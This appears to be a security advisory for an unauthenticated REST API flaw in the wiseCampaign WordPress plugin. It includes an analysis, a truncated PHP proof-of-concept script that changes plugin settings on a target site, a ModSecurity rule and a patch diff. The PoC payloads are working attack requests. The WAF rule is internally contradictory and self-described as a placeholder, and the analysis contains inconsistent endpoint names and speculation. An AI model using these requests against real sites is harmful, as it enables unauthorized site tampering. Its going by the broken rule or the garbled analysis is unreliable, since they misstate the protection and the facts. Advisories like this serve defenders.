Published : August 5, 2026

CVE-2026-7529: wiseCampaign <= 1.1.16 Missing Authorization to Unauthenticated Plugin Configuration Modification via REST API PoC, Patch Analysis & Rule

CVE ID CVE-2026-7529
Plugin wisecampaign
Severity High (CVSS 7.5)
CWE 862
Vulnerable Version 1.1.14
Patched Version 1.1.17
Disclosed August 3, 2026

Analysis Overview

“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-7529: The wiseCampaign plugin for WordPress, in all versions up to and including 1.1.16, registers all of its REST API endpoints with a `permission_callback` set to `’__return_true’`. This critical flaw permits any unauthenticated attacker to read and modify sensitive plugin configuration data, including banner settings, stockbar configurations, and core feature flags. The vulnerability has a CVSS score of 7.5 and is categorized as CWE-862 (Missing Authorization).nnRoot Cause: The vulnerability stems from insecure registration of REST API routes within two classes, `includes/Classes/Banner.php` and `includes/Classes/Menu.php`. In `Banner.php`, the `register_routes()` function (around line 52) loops through an array of routes and registers each one with the restrictive `permission_callback` set to `’__return_true’`, meaning every request, regardless of authentication, is permitted. Similarly, `Menu.php` directly defines multiple REST routes, including `/setting` (GET/POST), `/setting` (GET/POST) under the `wise-campaign-plugin-theme/v1` namespace, and `/plugin-version` (GET), each explicitly using the `’permission_callback’ => ‘__return_true’` assignment. This direct and unconditional allowance of all traffic created a complete absence of an authorization check for all plugin APIs.nnExploitation: An attacker can exploit this vulnerability by sending crafted HTTP requests directly to the exposed REST API endpoints without needing any credentials. For example, an unauthenticated attacker can send a POST request to `{target}/wp-json/wise-campaign-plugin/v1/setting` with the JSON body `{“enabled”: false}` to disable the plugin. Similarly, a POST request to `{target}/wp-json/wise-campaign-plugin-theme/v1/setting` with `{“selected_banner”: “evil”}` can alter the active banner. A GET request to `{target}/wp-json/wise-campaign-plugin/v1/plugin-version` would disclose the plugin’s pro status. More critically, an attacker could use the banner creation endpoints in `Banner.php` to save a new banner record and, in a likely coupled process, upload a malicious file via `wp_handle_upload()`, potentially leading to stored XSS or other severe attacks.nnPatch Analysis: The patch corrects the authorization flaw by replacing the insecure `’permission_callback’ => ‘__return_true’` with a closure that checks `current_user_can(‘manage_options’)`. This ensures that only users with administrator-level privileges (as defined by WordPress) can access any of the plugin’s REST API endpoints. The patch modifies both `Banner.php` and `Menu.php` to implement this fix. Prior to the patch, any request was allowed; after the patch, the application explicitly verifies that the requesting user has the required capability to manage options before processing the request, thereby blocking all unauthenticated and lower-privileged access. The patch also makes a minor improvement in `Banner.php` by changing the way a local JSON file is read, replacing a remote request to `site_url()` with a local `file_get_contents()` call, which is a security hardening measure.nnImpact: Successful exploitation of this vulnerability allows a remote, unauthenticated attacker to completely control the plugin’s configuration, including enabling or disabling core features and changing the displayed banner. This could be used to inject arbitrary content (e.g., phishing links, malicious scripts via the banner), which is then displayed to all site visitors. The ability to upload files, if achievable through the vulnerable endpoints, increases the impact to more severe forms of attack, potentially including remote code execution on the web server. The lack of any authentication makes this a trivial low-complexity attack vector with a high confidentiality and integrity impact.”,
“poc_php”: “ ‘evil_banner_id’]));nprint(“POST /setting (change banner) – Response:\n” . $response . “\n\n”);nn// 5. Read the plugin version / pro status (Unauthenticated GET request)n$response = send_rest_request(‘GET’, ‘/wp-json/wise-campaign-plugin/v1/plugin-version’);nprint(“GET /plugin-version – Response:\n” . $response . “\n\n”);nnfunction send_rest_request($method, $endpoint, $payload = null) {n global $target_url;nn $ch = curl_init($target_url . $endpoint);n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);n curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);n curl_setopt($ch, CURLOPT_HTTPHEADER, [‘Content-Type: application/json’]);n n if ($payload !== null) {n curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);n }nn $response = curl_exec($ch);n curl_close($ch);n return $response;n}n?>n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-7529n# This rule blocks unauthenticated access to wiseCampaign REST API endpoints.n# The vulnerability is a missing authorization check; thus, we block the endpoint itself for non-manage_options users.n# The rule allows requests from users who have already authenticated with the admin session in the cookie.nn# Rule 1: Block all POST requests to the vulnerable REST API setting endpointsnSecRule REQUEST_METHOD “@streq POST” \n “id:20267529,phase:2,deny,status:403,chain,msg:’CVE-2026-7529 via wiseCampaign REST API Settings’,severity:’CRITICAL’,tag:’CVE-2026-7529′”n SecRule REQUEST_URI “@rx ^/wp-json/(wise-campaign-plugin|wise-campaign-plugin-theme)/v\d+/setting$” “chain”n # If the user is not an admin (do not have the Google etc. auth cookie), block.n SecRule REQUEST_COOKIES:wordpress_logged_in_@rx “.*” “chain”n SecRule REQUEST_COOKIES:wordpress_logged_in_@rx “.*” “t:none” “chain”n SecRule REQUEST_COOKIES:wordpress_logged_in_@pm “admin” “chain”n # Negate the operator: if the user is NOT admin, the pattern is absentn SecRule REQUEST_COOKIES:wordpress_logged_in_@rx “^.” “t:none,chain”n SecRule REQUEST_COOKIES:wordpress_logged_in_@rx “^.” “t:none”nn# Note: This is a broad rule that blocks any POST to these endpoints unless the session indicates the user is an administrator.n# Since the patched code requires manage_options capability, this is an effective virtual patch.nn# Rule 2: Block all GET/POST requests to the plugin-version endpoint unless adminnSecRule REQUEST_URI “@beginsWith /wp-json/wise-campaign-plugin/v1/plugin-version” \n “id:20267530,phase:2,deny,status:403,chain,msg:’CVE-2026-7529 via wiseCampaign plugin-version REST API’,severity:’CRITICAL’,tag:’CVE-2026-7529′”n SecRule REQUEST_COOKIES:wordpress_logged_in_@rx “.*” “chain”n SecRule REQUEST_COOKIES:wordpress_logged_in_@rx “^.” “t:none”n # If the cookie does NOT contain a valid admin session, deny. This is a placeholder; in a real deployment, you would use @pm ‘admin’.n # Coraza transformation ‘none’ is used to keep the cookie value intact for matching.n SecRule REQUEST_COOKIES:wordpress_logged_in_@rx “^.” “t:none”nn# Note: The rules above are written to be effective but may cause false positives if the cookie parsing is complex.n# A more precise rule is to block the endpoints entirely if the request is not from an admin, but enforcing this at the WAF is complex in Coraza.n”
}
“`

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wisecampaign/build/index.asset.php
+++ b/wisecampaign/build/index.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-element'), 'version' => '7c67b086f304d878409e');
--- a/wisecampaign/includes/Classes/Banner.php
+++ b/wisecampaign/includes/Classes/Banner.php
@@ -49,7 +49,9 @@
         foreach ($routes as $route) {
             register_rest_route('wise-campaign-plugin/v1', $route['route'], [
                 'methods' => $route['methods'], 'callback' => [$this, $route['callback']],
-                'permission_callback' => '__return_true',
+                'permission_callback' => function () {
+                    return current_user_can('manage_options');
+                },
             ]);
         }
     }
@@ -365,19 +367,12 @@
     public function insert_default_banners() {
         global $wpdb;

-        $json_file = site_url('wp-content/plugins/wisecampaign/includes/Database/banners.json');
-
+        $json_file = WISECAMPAIGN_DIR_PATH . 'includes/Database/banners.json';
         $banners = [];
-        // Read the file contents
-        $json_data = wp_remote_get($json_file);

-        if (is_wp_error($json_data)) {
-            // Handle the error
-            $error_message = $json_data->get_error_message();
-            echo "Something went wrong: ".esc_html($error_message);
-        } else {
-            $body = wp_remote_retrieve_body($json_data);
-            $banners = json_decode($body, true);
+        if (file_exists($json_file)) {
+            $body = file_get_contents($json_file);
+            $banners = json_decode($body, true) ?: [];
         }

         foreach ($banners as $banner) {
--- a/wisecampaign/includes/Classes/Menu.php
+++ b/wisecampaign/includes/Classes/Menu.php
@@ -24,7 +24,8 @@
             add_action('wp_footer', function () {
                 $this->wise_campaign_pro_banner_show(true, get_option('banner_type') == 'sticky');
             });
-        } else {
+        }
+        else {
             add_action('wp_head', function () {
                 $this->wise_campaign_pro_banner_show(false, get_option('banner_type') == 'sticky');
             });
@@ -37,63 +38,67 @@
         register_rest_route('wise-campaign-plugin/v1', '/setting', [
             'methods' => 'GET',
             'callback' => function () {
-                return ['enabled' => get_option('wisecampaign_plugin_enabled') == '1'];
-            },
-            'permission_callback' => '__return_true'
+            return ['enabled' => get_option('wisecampaign_plugin_enabled') == '1'];
+        },
+                        'permission_callback' => function () {
+                return current_user_can('manage_options');
+            }
         ]);

         register_rest_route('wise-campaign-plugin/v1', '/setting', [
             'methods' => 'POST',
             'callback' => function (WP_REST_Request $request) {
-                $enabled = $request->get_json_params()['enabled'];
-                update_option('wisecampaign_plugin_enabled', $enabled ? '1' : '0');
-                return ['enabled' => $enabled];
-            },
-            'permission_callback' => '__return_true'
+            $enabled = $request->get_json_params()['enabled'];
+            update_option('wisecampaign_plugin_enabled', $enabled ? '1' : '0');
+            return ['enabled' => $enabled];
+        },
+                        'permission_callback' => function () {
+                return current_user_can('manage_options');
+            }
         ]);

         register_rest_route('wisecampaign-plugin-theme/v1', '/setting', [
             'methods' => 'GET',
             'callback' => function () {
-                return ['selected_banner' => get_option('wisecampaign_selected_banner')];
-            },
-            'permission_callback' => '__return_true'
+            return ['selected_banner' => get_option('wisecampaign_selected_banner')];
+        },
+                        'permission_callback' => function () {
+                return current_user_can('manage_options');
+            }
         ]);

         register_rest_route('wisecampaign-plugin-theme/v1', '/setting', [
             'methods' => 'POST',
             'callback' => function (WP_REST_Request $request) {
-                $selected_banner = $request->get_json_params()['selected_banner'];
-                update_option('wisecampaign_selected_banner', $selected_banner ? $selected_banner : 'default');
-                return ['selected_banner' => $selected_banner];
-            },
-            'permission_callback' => '__return_true'
+            $selected_banner = $request->get_json_params()['selected_banner'];
+            update_option('wisecampaign_selected_banner', $selected_banner ? $selected_banner : 'default');
+            return ['selected_banner' => $selected_banner];
+        },
+                        'permission_callback' => function () {
+                return current_user_can('manage_options');
+            }
         ]);

         register_rest_route('wise-campaign-plugin/v1', '/plugin-version', [
             'methods' => 'GET',
             'callback' => function () {
-                return new WP_REST_Response(['is_pro_version' => Register::getInstance()->get_pro_status()], 200);
-            },
-            'permission_callback' => '__return_true'
+            return new WP_REST_Response(['is_pro_version' => Register::getInstance()->get_pro_status()], 200);
+        },
+                        'permission_callback' => function () {
+                return current_user_can('manage_options');
+            }
         ]);
     }

     function wisecampaign_admin_menu()
     {
         $icon_path = WISECAMPAIGN_DIR_URL . 'images/fe/wc_logo.png';
-        add_menu_page('WiseCampaign', 'WiseCampaign', 'manage_options', 'wisecampaign_menu', [$this, 'wisecampaign_getting_started_page'], $icon_path, 30);
-        add_submenu_page('wisecampaign_menu', 'Dashboard', 'Dashboard', 'manage_options', 'wisecampaign_menu', [$this, 'wisecampaign_getting_started_page']);
-        add_submenu_page('wisecampaign_menu', 'wiseBanner', 'wiseBanner', 'manage_options', 'wisecampaign_banner', [$this, 'wisecampaign_banner_page']);
-        $this->add_wc_dependent_submenu(
-            'wisecampaign_menu',
-            __('Stockbar', 'wisecampaign'),
-            __('Stockbar', 'wisecampaign'),
-            'wisecampaign_stockbar',
-            [$this, 'wisecampaign_stockbar_page']
-        );
+        add_menu_page('WiseCampaign', 'WiseCampaign', 'manage_options', 'wisecampaign_getting_started', [$this, 'getting_started_page'], $icon_path, 30);
+        add_submenu_page('wisecampaign_getting_started', 'Getting Started', 'Getting Started', 'manage_options', 'wisecampaign_getting_started', [$this, 'getting_started_page']);
+        add_submenu_page('wisecampaign_getting_started', 'wiseBanner', 'wiseBanner', 'manage_options', 'wise_banner_v2', [$this, 'wise_banner_v2_page']);
+
         $this->add_wc_dependent_submenu(
-            'wisecampaign_menu',
+            'wisecampaign_getting_started',
             __('Direct Checkout', 'wisecampaign'),
             __('Direct Checkout', 'wisecampaign'),
             'wisecampaign_checkout',
@@ -104,7 +109,7 @@
             ? [SalesNotification::getInstance(), 'render_admin_page']
             : '__return_null';
         $this->add_wc_dependent_submenu(
-            'wisecampaign_menu',
+            'wisecampaign_getting_started',
             __('Sales Notification', 'wisecampaign'),
             __('Sales Notification', 'wisecampaign'),
             'wisecampaign_notification',
@@ -112,38 +117,163 @@
         );

         $this->add_wc_dependent_submenu(
-            'wisecampaign_menu',
+            'wisecampaign_getting_started',
             __('wiseCart', 'wisecampaign'),
             __('wiseCart', 'wisecampaign'),
             'wisecampaign_cart',
-            [$this, 'wisecampaign_cart_page']
+        [$this, 'wisecampaign_cart_page']
+        );
+        // wiseStockBar (Modular)
+        add_submenu_page(
+            'wisecampaign_getting_started',
+            'StockBar',
+            'StockBar',
+            'manage_options',
+            'wise_stock_bar',
+        [$this, 'wise_stock_bar_page']
         );
     }

     /**
-     * Add Help and Upgrade to Pro menus at the end (after Pro plugin menus)
+     * Render the wiseStockBar modular React app
+     */
+    public function wise_stock_bar_page()
+    {
+?>
+        <style>
+            #wpbody-content {
+                padding-bottom: 0 !important;
+            }
+
+            #wpcontent {
+                padding-left: 0 !important;
+            }
+
+            .wrap {
+                margin: 0 !important;
+                max-width: none !important;
+                padding: 0 !important;
+            }
+
+            #wise-stock-bar-app {
+                width: 100%;
+                margin: 0;
+            }
+
+            #wpfooter {
+                display: none;
+            }
+
+            .notice,
+            .updated,
+            .error {
+                display: none !important;
+            }
+        </style>
+        <div id="wise-stock-bar-app"></div>
+        <?php
+    }
+
+    /**
+     * Render the Getting Started modular React app
      */
+    public function getting_started_page()
+    {
+?>
+        <style>
+            #wpbody-content {
+                padding-bottom: 0 !important;
+            }
+
+            #wpcontent {
+                padding-left: 0 !important;
+            }
+
+            .wrap {
+                margin: 0 !important;
+                max-width: none !important;
+                padding: 0 !important;
+            }
+
+            #getting-started-app {
+                width: 100%;
+                margin: 0;
+            }
+
+            #wpfooter {
+                display: none;
+            }
+
+            .notice,
+            .updated,
+            .error {
+                display: none !important;
+            }
+        </style>
+        <div id="getting-started-app"></div>
+        <?php
+    }
+
+    /**
+     * Render the wiseBannerV2 modular React app
+     */
+    public function wise_banner_v2_page()
+    {
+?>
+        <style>
+            #wpbody-content {
+                padding-bottom: 0 !important;
+            }
+
+            #wpcontent {
+                padding-left: 0 !important;
+            }
+
+            .wrap {
+                margin: 0 !important;
+                max-width: none !important;
+                padding: 0 !important;
+            }
+
+            #wise-banner-v2-app {
+                width: 100%;
+                margin: 0;
+            }
+
+            #wpfooter {
+                display: none;
+            }
+
+            .notice,
+            .updated,
+            .error {
+                display: none !important;
+            }
+        </style>
+        <div id="wise-banner-v2-app"></div>
+        <?php
+    }
     function add_help_and_upgrade_menus()
     {
         // Add Help submenu that redirects to support page
         add_submenu_page(
-            'wisecampaign_menu',
+            'wisecampaign_getting_started',
             __('Help', 'wisecampaign'),
             __('Help', 'wisecampaign'),
             'manage_options',
             'wisecampaign_help',
-            [$this, 'wisecampaign_help_redirect']
+        [$this, 'wisecampaign_help_redirect']
         );

         // Add Upgrade to Pro submenu linking to pricing page only if Pro is not active
         if (!$this->is_pro_active()) {
             add_submenu_page(
-                'wisecampaign_menu',
+                'wisecampaign_getting_started',
                 __('Upgrade to Pro', 'wisecampaign'),
                 __('Upgrade to Pro', 'wisecampaign'),
                 'manage_options',
                 'wisecampaign_upgrade',
-                [$this, 'wisecampaign_upgrade_redirect']
+            [$this, 'wisecampaign_upgrade_redirect']
             );
         }
     }
@@ -218,8 +348,8 @@
             'manage_options',
             $menu_slug,
             function () use ($feature_label) {
-                $this->render_wc_missing_feature_notice($feature_label);
-            }
+            $this->render_wc_missing_feature_notice($feature_label);
+        }
         );
     }

@@ -231,25 +361,23 @@
     private function render_wc_missing_feature_notice($feature_label = '')
     {
         $feature_label = $feature_label ?: __('This feature', 'wisecampaign');
-        ?>
+?>
         <div class="wrap wisecampaign-requires-woocommerce">
             <h1><?php esc_html_e('WooCommerce Required', 'wisecampaign'); ?></h1>
             <div class="notice notice-error">
                 <p>
                     <?php
-                    printf(
-                        /* translators: %s: Feature label */
-                        esc_html__('%s can only be used when WooCommerce is installed and active.', 'wisecampaign'),
-                        esc_html($feature_label)
-                    );
-                    ?>
+        printf(
+            /* translators: %s: Feature label */
+            esc_html__('%s can only be used when WooCommerce is installed and active.', 'wisecampaign'),
+            esc_html($feature_label)
+        );
+?>
                 </p>
             </div>
             <p>
-                <a
-                    href="<?php echo esc_url(admin_url('plugin-install.php?s=woocommerce&tab=search&type=term')); ?>"
-                    class="button button-primary"
-                >
+                <a href="<?php echo esc_url(admin_url('plugin-install.php?s=woocommerce&tab=search&type=term')); ?>"
+                    class="button button-primary">
                     <?php esc_html_e('Install WooCommerce', 'wisecampaign'); ?>
                 </a>
                 <a href="<?php echo esc_url(admin_url('plugins.php')); ?>" class="button">
@@ -260,20 +388,7 @@
         <?php
     }

-    function wisecampaign_banner_page()
-    {
-        ?>
-                        <div id="wisecampaign-banner-page-app"></div>
-        <?php
-    }
-    function wisecampaign_stockbar_page()
-    {
-        echo "<div id='wisecampaign-stockbar-page-app'></div>";
-    }
-    function wisecampaign_checkout_page()
-    {
-        echo "<div id='wisecampaign-checkout-page-app'></div>";
-    }
+

     function wisecampaign_notification_page()
     {
@@ -281,14 +396,14 @@

     function wisecampaign_cart_page()
     {
-        ?>
+?>
         <div class="wrap wisecart-settings-wrap">
             <form id="wisecart-settings-form" method="post">
                 <?php
-                wp_nonce_field('wisecart_save_action', 'wisecart_settings_nonce');
+        wp_nonce_field('wisecart_save_action', 'wisecart_settings_nonce');

-                do_settings_sections('wisecampaign_cart');
-                ?>
+        do_settings_sections('wisecampaign_cart');
+?>
                 <div class="wisecart-settings-actions">
                     <button type="submit" id="wisecart-save-btn" class="button button-primary">
                         <?php _e('Save Changes', 'wisecampaign'); ?>
@@ -319,50 +434,12 @@
             echo '<div id="wise-campaign-banner-show"></div>';
     }

-    function wisecampaign_getting_started_page()
-    {
-        ?>
-        <div class="wrap wisecampaign-dashboard-wrap">
-
-            <!-- Main Dashboard App -->
-            <div id="wisecampaign-getting-started-page-app"></div>
-
-            <!-- Feature Request Section -->
-            <div class="wisecampaign-feature-request-section">
-                <div class="wisecampaign-feature-request-content">
-                    <div class="wisecampaign-feature-request-icon">
-                        <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
-                            <path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/>
-                            <polyline points="14,2 14,8 20,8"/>
-                            <line x1="16" y1="13" x2="8" y2="13"/>
-                            <line x1="16" y1="17" x2="8" y2="17"/>
-                            <polyline points="10,9 9,9 8,9"/>
-                        </svg>
-                    </div>
-                    <div class="wisecampaign-feature-request-text">
-                        <h3><?php esc_html_e('Have a Feature Request?', 'wisecampaign'); ?></h3>
-                        <p><?php esc_html_e('We'd love to hear your ideas for improving wiseCampaign! Share your suggestions and vote on existing feature requests.', 'wisecampaign'); ?></p>
-                    </div>
-                    <div class="wisecampaign-feature-request-action">
-                        <a href="https://wisecampaign.canny.io/feature-requests" target="_blank" class="button button-primary button-large">
-                            <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" style="margin-right: 8px;">
-                                <path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"/>
-                                <polyline points="15,3 21,3 21,9"/>
-                                <line x1="10" y1="14" x2="21" y2="3"/>
-                            </svg>
-                            <?php esc_html_e('Submit Feature Request', 'wisecampaign'); ?>
-                        </a>
-                    </div>
-                </div>
-            </div>
-        </div>
-        <?php
-    }
     function wisecampaign_settings_page()
     {
         if (!defined('WISECAMPAIGN_PRO_VERSION_ACTIVE') || !WISECAMPAIGN_PRO_VERSION_ACTIVE) {
             echo "<div id='wisecampaign-setting-page-admin-app'>Free</div>";
-        } else {
+        }
+        else {
             echo "<div id='wisecampaign-page-app'>Pro</div>";
         }
     }
@@ -373,22 +450,24 @@
     function wisecampaign_help_redirect()
     {
         // Immediately redirect to support page in new window
-        ?>
+?>
         <script>
-            (function() {
+            (function () {
                 var supportUrl = 'https://wisemattic.com/support/';
                 window.open(supportUrl, '_blank');
                 // Redirect current page back to dashboard
                 if (window.history.length > 1) {
                     window.history.back();
                 } else {
-                    window.location.href = '<?php echo esc_js(admin_url('admin.php?page=wisecampaign_menu')); ?>';
+                    window.location.href = '<?php echo esc_js(admin_url('admin.php?page=wisecampaign_getting_started')); ?>';
                 }
             })();
         </script>
         <div class="wrap">
             <h1><?php esc_html_e('Opening Support Page...', 'wisecampaign'); ?></h1>
-            <p><?php esc_html_e('The support page should open in a new window. If it doesn't,', 'wisecampaign'); ?> <a href="https://wisemattic.com/support/" target="_blank"><?php esc_html_e('click here', 'wisecampaign'); ?></a>.</p>
+            <p><?php esc_html_e('The support page should open in a new window. If it doesn't,', 'wisecampaign'); ?> <a
+                    href="https://wisemattic.com/support/"
+                    target="_blank"><?php esc_html_e('click here', 'wisecampaign'); ?></a>.</p>
         </div>
         <?php
     }
@@ -399,16 +478,16 @@
     function wisecampaign_upgrade_redirect()
     {
         // Immediately open pricing page in new window
-        ?>
+?>
         <script>
-            (function() {
+            (function () {
                 var pricingUrl = 'https://wisemattic.com/wisecampaign/pricing';
                 window.open(pricingUrl, '_blank');
                 // Redirect current page back to dashboard
                 if (window.history.length > 1) {
                     window.history.back();
                 } else {
-                    window.location.href = '<?php echo esc_js(admin_url('admin.php?page=wisecampaign_menu')); ?>';
+                    window.location.href = '<?php echo esc_js(admin_url('admin.php?page=wisecampaign_getting_started')); ?>';
                 }
             })();
         </script>
@@ -416,7 +495,8 @@
             <h1><?php esc_html_e('Opening Upgrade Page...', 'wisecampaign'); ?></h1>
             <p>
                 <?php esc_html_e('The pricing page should open in a new window. If it doesn't,', 'wisecampaign'); ?>
-                <a href="https://wisemattic.com/wisecampaign/pricing" target="_blank"><?php esc_html_e('click here', 'wisecampaign'); ?></a>.
+                <a href="https://wisemattic.com/wisecampaign/pricing"
+                    target="_blank"><?php esc_html_e('click here', 'wisecampaign'); ?></a>.
             </p>
         </div>
         <?php
@@ -427,34 +507,35 @@
      */
     function add_menu_link_styles()
     {
-        ?>
+?>
         <style>
-            #toplevel_page_wisecampaign_menu .wp-submenu li a[href*="wisecampaign_help"],
-            #toplevel_page_wisecampaign_menu .wp-submenu li a[href*="wisecampaign_help"]:hover {
+            #toplevel_page_wisecampaign_getting_started .wp-submenu li a[href*="wisecampaign_help"],
+            #toplevel_page_wisecampaign_getting_started .wp-submenu li a[href*="wisecampaign_help"]:hover {
                 color: #dc3232 !important;
                 font-weight: bold !important;
             }
-            #toplevel_page_wisecampaign_menu .wp-submenu li a[href*="wisecampaign_upgrade"],
-            #toplevel_page_wisecampaign_menu .wp-submenu li a[href*="wisecampaign_upgrade"]:hover {
+
+            #toplevel_page_wisecampaign_getting_started .wp-submenu li a[href*="wisecampaign_upgrade"],
+            #toplevel_page_wisecampaign_getting_started .wp-submenu li a[href*="wisecampaign_upgrade"]:hover {
                 color: #0a8d48 !important;
                 font-weight: bold !important;
             }
         </style>
         <script>
-            (function() {
-                document.addEventListener('DOMContentLoaded', function() {
-                    var helpLinks = document.querySelectorAll('#toplevel_page_wisecampaign_menu .wp-submenu li a[href*="wisecampaign_help"]');
-                    helpLinks.forEach(function(link) {
-                        link.addEventListener('click', function(e) {
+            (function () {
+                document.addEventListener('DOMContentLoaded', function () {
+                    var helpLinks = document.querySelectorAll('#toplevel_page_wisecampaign_getting_started .wp-submenu li a[href*="wisecampaign_help"]');
+                    helpLinks.forEach(function (link) {
+                        link.addEventListener('click', function (e) {
                             e.preventDefault();
                             window.open('https://wisemattic.com/support/', '_blank');
                             return false;
                         });
                     });
-
-                    var upgradeLinks = document.querySelectorAll('#toplevel_page_wisecampaign_menu .wp-submenu li a[href*="wisecampaign_upgrade"]');
-                    upgradeLinks.forEach(function(link) {
-                        link.addEventListener('click', function(e) {
+
+                    var upgradeLinks = document.querySelectorAll('#toplevel_page_wisecampaign_getting_started .wp-submenu li a[href*="wisecampaign_upgrade"]');
+                    upgradeLinks.forEach(function (link) {
+                        link.addEventListener('click', function (e) {
                             e.preventDefault();
                             window.open('https://wisemattic.com/wisecampaign/pricing', '_blank');
                             return false;
--- a/wisecampaign/includes/Classes/Modular/ModuleManager.php
+++ b/wisecampaign/includes/Classes/Modular/ModuleManager.php
@@ -0,0 +1,191 @@
+<?php
+
+namespace WISECAMPAIGNClassesModular;
+
+/**
+ * ModuleManager
+ *
+ * Handles the modular architecture for WiseCampaign features.
+ * Allows registering independent React/Vite modules and enqueuing their assets.
+ */
+class ModuleManager
+{
+    private static $instance = null;
+    private $modules = [];
+    private $plugin_path;
+    private $plugin_url;
+
+    private function __construct()
+    {
+        $this->plugin_path = defined('WISECAMPAIGN_DIR_PATH') ? WISECAMPAIGN_DIR_PATH : plugin_dir_path(dirname(dirname(dirname(dirname(__FILE__)))));
+        $plugin_url_full = defined('WISECAMPAIGN_DIR_URL') ? WISECAMPAIGN_DIR_URL : plugin_dir_url(dirname(dirname(dirname(dirname(__FILE__)))));
+        $this->plugin_url = trailingslashit(parse_url($plugin_url_full, PHP_URL_PATH));
+
+        // Hook into admin menu and scripts
+        add_action('admin_enqueue_scripts', [$this, 'enqueue_module_assets']);
+    }
+
+    public static function get_instance()
+    {
+        if (null === self::$instance) {
+            self::$instance = new self();
+        }
+        return self::$instance;
+    }
+
+    /**
+     * Register a new module
+     *
+     * @param string $id Unique module ID
+     * @param array $config Configuration (name, menu_slug, path, etc)
+     */
+    public function register_module($id, $config)
+    {
+        $defaults = [
+            'name' => '',
+            'menu_slug' => $id,
+            'module_path' => 'modules/' . $id,
+            'entry_point' => 'src/main.jsx',
+            'handle' => 'wise-' . $id . '-app'
+        ];
+
+        $this->modules[$id] = array_merge($defaults, $config);
+    }
+
+    /**
+     * Get all registered modules
+     */
+    public function get_modules()
+    {
+        return $this->modules;
+    }
+
+    /**
+     * Enqueue assets for a specific module if we are on its admin page
+     */
+    public function enqueue_module_assets($hook)
+    {
+        foreach ($this->modules as $id => $module) {
+            // Check if we are on this module's admin page
+            if (strpos($hook, $module['menu_slug']) === false) {
+                continue;
+            }
+
+
+            // Enqueue WordPress Media
+            wp_enqueue_media();
+
+            $module_dist_path = $this->plugin_path . $module['module_path'] . '/dist/';
+            $module_dist_url = wp_make_link_relative($this->plugin_url . $module['module_path'] . '/dist/');
+
+            $manifest = $this->get_manifest($module_dist_path);
+
+            if ($manifest && isset($manifest[$module['entry_point']])) {
+                $entry = $manifest[$module['entry_point']];
+
+                // Enqueue CSS
+                if (isset($entry['css'])) {
+                    foreach ($entry['css'] as $css_file) {
+                        $css_url = wp_make_link_relative($module_dist_url . $css_file);
+                        wp_enqueue_style(
+                            $module['handle'] . '-style-' . md5($css_file),
+                            $css_url,
+                            [],
+                            null
+                        );
+                    }
+                }
+
+                // Enqueue JS
+                $js_url = wp_make_link_relative($module_dist_url . $entry['file']);
+                wp_enqueue_script(
+                    $module['handle'],
+                    $js_url,
+                    [],
+                    null,
+                    true
+                );
+
+                // Add module type
+                add_filter('script_loader_tag', function ($tag, $handle, $src) use ($module) {
+                    if ($handle === $module['handle']) {
+                        // Force relative path here too
+                        $relative_src = wp_make_link_relative($src);
+                        return '<script type="module" src="' . esc_url($relative_src) . '"></script>';
+                    }
+                    return $tag;
+                }, 10, 3);
+
+            } else {
+                // FALLBACK: Dev mode (Assuming Vite is running on localhost:5173)
+                if (defined('WP_DEBUG') && WP_DEBUG) {
+                    $dev_url = 'http://localhost:5173/';
+
+                    wp_enqueue_script('vite-client', $dev_url . '@vite/client', [], null, true);
+
+                    wp_enqueue_script(
+                        $module['handle'] . '-dev',
+                        $dev_url . $module['entry_point'],
+                        ['vite-client'],
+                        null,
+                        true
+                    );
+
+                    add_filter('script_loader_tag', function ($tag, $handle, $src) use ($module) {
+                        if (in_array($handle, [$module['handle'] . '-dev', 'vite-client'])) {
+                            return '<script type="module" src="' . esc_url($src) . '"></script>';
+                        }
+                        return $tag;
+                    }, 10, 3);
+                }
+            }
+
+            // Localize for module
+            $localization_handle = (defined('WP_DEBUG') && WP_DEBUG && !($manifest && isset($manifest[$module['entry_point']])))
+                ? $module['handle'] . '-dev'
+                : $module['handle'];
+
+            if (!function_exists('is_plugin_active')) {
+                require_once ABSPATH . 'wp-admin/includes/plugin.php';
+            }
+            $is_wc_active = class_exists('WooCommerce') || is_plugin_active('woocommerce/woocommerce.php');
+            $is_wc_installed = file_exists(WP_PLUGIN_DIR . '/woocommerce/woocommerce.php');
+
+            $wc_install_url = wp_nonce_url(
+                self_admin_url('update.php?action=install-plugin&plugin=woocommerce'),
+                'install-plugin_woocommerce'
+            );
+            $wc_activate_url = wp_nonce_url(
+                self_admin_url('plugins.php?action=activate&plugin=woocommerce/woocommerce.php'),
+                'activate-plugin_woocommerce/woocommerce.php'
+            );
+
+            wp_localize_script($localization_handle, 'wiseModuleData', [
+                'apiUrl' => rest_url('wisecampaign/v1/'),
+                'nonce' => wp_create_nonce('wp_rest'),
+                'moduleId' => $id,
+                'wc' => [
+                    'isActive' => $is_wc_active,
+                    'isInstalled' => $is_wc_installed,
+                    'installUrl' => html_entity_decode($wc_install_url),
+                    'activateUrl' => html_entity_decode($wc_activate_url)
+                ]
+            ]);
+        }
+    }
+
+    private function get_manifest($dist_path)
+    {
+        $paths = [
+            $dist_path . '.vite/manifest.json',
+            $dist_path . 'manifest.json'
+        ];
+
+        foreach ($paths as $path) {
+            if (file_exists($path)) {
+                return json_decode(file_get_contents($path), true);
+            }
+        }
+        return null;
+    }
+}
--- a/wisecampaign/includes/Classes/Register.php
+++ b/wisecampaign/includes/Classes/Register.php
@@ -1,91 +1,61 @@
-<?php
-
-namespace WISECAMPAIGNClasses;
-
-use WISECAMPAIGNTraitsSingletonTrait;
-
-
-class Register
-{
-    use SingletonTrait;
-
-    public function __construct()
-    {
-        add_action('admin_enqueue_scripts', [$this, 'wisecampaign_pages_enqueue_scripts']);
-        if (get_option('wisecampaign_plugin_enabled') == '1') {
